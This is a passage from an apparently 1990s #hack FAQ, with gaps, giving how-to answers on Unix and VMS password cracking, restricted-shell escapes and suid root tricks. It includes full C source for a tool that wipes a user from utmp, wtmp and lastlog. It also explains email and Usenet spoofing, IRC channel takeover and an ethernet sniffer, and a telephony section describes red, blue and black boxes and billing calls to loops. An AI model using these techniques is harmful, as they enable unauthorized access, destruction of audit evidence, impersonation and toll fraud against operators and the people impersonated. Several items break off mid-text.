U == Updated since last release of the #hack FAQ A == Added since last release of the #hack FAQ Section A: Computers ~~~~~~~~~~~~~~~~~~~~ 01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. 02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password. Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 4096 possible salt values and the results are compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. 03. How do I access the password file under VMS? Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file. 04. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. 05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machies on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file with a line that looks like this: +::0:0::: To view the real password file use this command "ypcat passwd" 06. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal system users. To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file. Example: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 07. How do I break out of a restricted shell? On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell 08. How do I gain root from a suid script or program? 1. Change IFS. If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Seperator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: set IFS '/' 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input the the program. Invoke the name of the program and a seperate command on the same command line. Example: suidprog ; id 09. How do I erase my presence from the system logs? Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 10. How do I send fakemail? Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example: HELO bellcore.com MAIL FROM:Voyagor@bellcore.com RCPT TO:clinton@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUIT On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first. 11. How do I fake posts to UseNet? Use inews to post. Give inews the following lines: From: Newsgroups: Subject: Message-ID: Date: Organization: For a moderated newsgroup, inews will also require this line: Approved: Then add your post and terminate with . Example: From: Dale Drew Newsgroups: alt.2600 Subject: Please forgive me Message-ID: Date: Fri, 13 Jun 1994 12:15:03 Organization: Tymnet Insecurity Please forgive me for being such a worthless puke all of these years. Sincerely, Bartman ^D 12. How do I hack ChanOp on IRC? Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose. 13. How do I modify the IRC client to hide my real username? Get the IRC client from cs.bu.edu /irc/clients. Look at the source code files irc.c and ctcp.c. The code you are looking for is fairly easy to spot. Change it. Change the username code in irc.c and the ctcp information code in ctcp.c. Compile and run your client. Here are the diffs from a sample hack of the IRC client. Your client code will vary slighty depending on what IRC client version you are running. *** ctcp.c.old Wed Feb 10 10:08:05 1993 --- ctcp.c Fri Feb 12 04:33:55 1993 *************** *** 331,337 **** struct passwd *pwd; long diff; int uid; ! char c; /* * sojge complained that ircII says 'idle 1 seconds' --- 331,337 ---- struct passwd *pwd; long diff; int uid; ! char c, *fing; /* * sojge complained that ircII says 'idle 1 seconds' *************** *** 348,354 **** if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (pwd = getpwuid(uid)) { char *tmp; --- 348,356 ---- if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (fing = getenv("IRCFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; *** irc.c.old Wed Feb 10 06:33:11 1993 --- irc.c Fri Feb 12 04:02:11 1993 *************** *** 510,516 **** malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); --- 510,518 ---- malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (ptr = getenv("IRCUSER")) ! strmcpy(username, ptr, NAME_LEN); ! else if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); 14. What is a trojan/worm/virus/logic bomb? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. Trojan: An independent program that appears to perform a useful function but that hides another unauthorized program inside it. When an authorized user performs the apparrent function, the trojan horse performs the unauthorized function as well (often usurping the priveleges of the user). Virus: A code fragment (not an independent program) that reproduces by attaching to another program. It may damage data directly, or it may degrade system performance by taking over system resources which are then not available to authorized users. Worm: An independent program that reproduces by copying itself from one system to another, usually over a network. Like a virus, a worm may damage data directly, or it may degrade system performace by tying up system resources and even shutting down a network. Logic Bomb: A method for releasing a system attack of some kind. It is triggered when a particular condition (e.g., a certain date or system operation) occurs. 15. How can I protect myself from virii and such? Always write protect your floppy disks when you are not purposefully writing to them. Use ATTRIB to make all of your EXE and COM files read only. This will protect you from many poorly written viruses. Scan any software that you receive with a recent copy of a good virus scanner. The best virus scanner currently available for DOS is F-Prot by Fridrik Skulason. The current version is FP-212C. It is best to use more than one virus scanner. That will decrease your chances of missing a virus. Backup regularly, and keep several generations of backups on hand. If you always backup over your last backup, you may find yourself with an infected backup tape. 16. What is Cryptoxxxxxxx? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption. The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists. 17. What is PGP? This FAQ answer is excerpted from: PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design. Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MSDOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses. 18. What is Tempest? Computers and other electonic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart. Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electonic equipment to attempt to pick up and decipher the emanations from her video monitor. Our competetor, however, could shield the emanations from her equipment or use equipment without strong emanations. Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. 19. How to I change to directores with strange characters in them? These directories are often used by people trying to hide information, most often warez (commercial software). To change into these directories, you must determine what the special characters are. Often an ASCII chart will help. Another useful tool is the "dir *" command, which will show you the total length of the directory name. On an IBM-PC, you may enter these special characters by holding down the key and entering the decimal value of the special character on your numeric keypad. When you release the key, the special character should appear on your screen. If the directory name includes a or a you will need to enclose the entire directory name in quotes. Example: cd ".." N 20. What is ethernet sniffing? Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password." Many enternet sniffers are available, here are a few that may be on your system now: OS Sniffer ~~ ~~~~~~~ HP/UX nettl (monitor) & netfmt (display) SunOS etherfind Solaris snoop DOS ETHLOAD LanWatch The Gobbler Netmon LanPatrol Netwatch Here is source code for an ethernet sniffer: /* Esniff.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc();

What is an anonymous remailer? An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously. You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer. N 24. What are the addresses of some anonymous remailers? The most popular and stable anonymous remailer is anon.penet.fi, operated by Johan Helsingus. To obtain an anonymous ID, mail ping@anon.penet.fi. For assistance is obtaining an anonymous account at penet, mail help@anon.penet.fi. Section B: Telephony ~~~~~~~~~~~~~~~~~~~~ 01. What is a Red Box? When a coin is inserted into a payphone, the phone emits a set of tones. A red box is a device that simulates those tones, with the purpose of fooling the payphone into believing you have inserted an actual coin. 02. How do I build a Red Box? Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components. To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal (the largest shiny metal component) with a crystal close to 6.5Mhz. The most popular choice is the 6.5536Mhz crystal. When you are finished, program the P1 button with five *'s. That will simulate a quarter tone. 03. Which payphones will a Red Box work on? Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones). 04. What is a Blue Box? Blue boxes use a 2600hz tone to convince telephone switches that use in-band signalling that the caller is actually a telephone operator. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the Multi-Frequency tones provided by the Blue Box. 05. Do Blue Boxes still work? Blue Boxes still work in areas using in-band signalling. Modern phone signalling switches using ESS (Electronic Signalling Systems) use out-of-band-signalling. Nothing you send over the voice portion of bandwidth can control the switch. 06. What is a Black Box? A Black Box is a 10k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. 07. What do all the colored boxes do? Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems Aqua Drain the voltage of the FBI lock-in-trace/trap-trace Beige Lineman's hand set Black Allows the calling party to not be billed for the call placed Blast Phone microphone amplifier Blotto Supposedly shorts every fone out in the immediate area Blue Emulate a true operator by siezing a trunk with a 2600hz tone Brown Create a party line from 2 phone lines Bud Tap into your neighbors phone line Chartreuse Use the electricity from your phone line Cheese Connect two phones to create a divertor Chrome Manipulate Traffic Signals by Remote Control Clear A telephone pickup coil and a small amp use to make free calls on Fortress Phones Color Line activated telephone recorder Copper Cause crosstalk interference on an extender Crimson Hold button Dark Re-route outgoing or incoming calls to another phone Dayglo Connect to your neighbors phone line Divertor Re-route outgoing or incoming calls to another phone DLOC Create a party line from 2 phone lines Gold Trace calls, tell if the call is being traced, and can change a trace Green Emulate the Coin Collect, Coin Return, and Ringback tones Infinity Remotely activated phone tap Jack Touch-Tone key pad Light In-use light Lunch AM transmitter Magenta Connect a remote phone line to another remote phone line Mauve Phone tap without cutting into a line Neon External microphone Noise Create line noise Olive External ringer Party Create a party line from 2 phone lines Pearl Tone generator Pink Create a party line from 2 phone lines Purple Telephone hold button Rainbow Kill a trace by putting 120v into the phone line (joke) Razz Tap into your neighbors phone Red Make free phone calls from pay phones by generating quarter tones Rock Add music to your phone line Scarlet Cause a neighbors phone line to have poor reception Silver Create the DTMF tones for A, B, C and D Static Keep the voltage on a phone line high Switch Add hold, indicator lights, conferencing, etc..

What is the ANAC number for my area? How to find your ANAC number: Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If that fails, try the nationwide ANAC number 404-988-9664. If you find the ANAC number for your area, please let us know. Note that many times the ANAC number will vary for different switches in the same city. A trick to getting the number of the phone line you are calling from is to call an (800) phone sex line. Example: (800)571-8859. These systems will give you an account number, which in many cases includes the telephone number of the phone from which you are calling. Another useful 800 ANAC number is the Duke Power Company Automated Outage System at (800)769-3766. The system will read back to you the phone number from which you are calling. Even another 800 ANAC number is Info Access Telephone Company's Automated Blocking line at (800)568-3197. It will read back to you the number from which you are calling, and ask if you would like it blocked. Please use local ANAC numbers if you can, as abuse or overuse kills 800 ANAC numbers.

A ringback number is a number that you call that will immediately ring the telephone from which it was called. In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later. 10.

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number. 12. What is a loop in my area? Many of these loops are no longer functional.

What is a CNA number? CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find it's phone number and then call the CNA operator to see who owns it and where they live. Normal CNA numbers are available only to telephone company personnel. Private citizens may now legally get CNA information from private companies. Two such companies are: Unidirectory (900)933-3330 Telename (900)884-1212 Note that these are 900 numbers, and will cost you approximately one dollar per minute. 14. What is the telephone company CNA number for my area? 614 614-464-0123 15. What is scanning? Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones. Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time. Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc .99b8. A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones. 16. Is scanning illegal? Excerpt from: 2600, Spring 1990, Page 27: -BQ- In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQ- It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate. Section C: Resources ~~~~~~~~~~~~~~~~~~~~ 01.
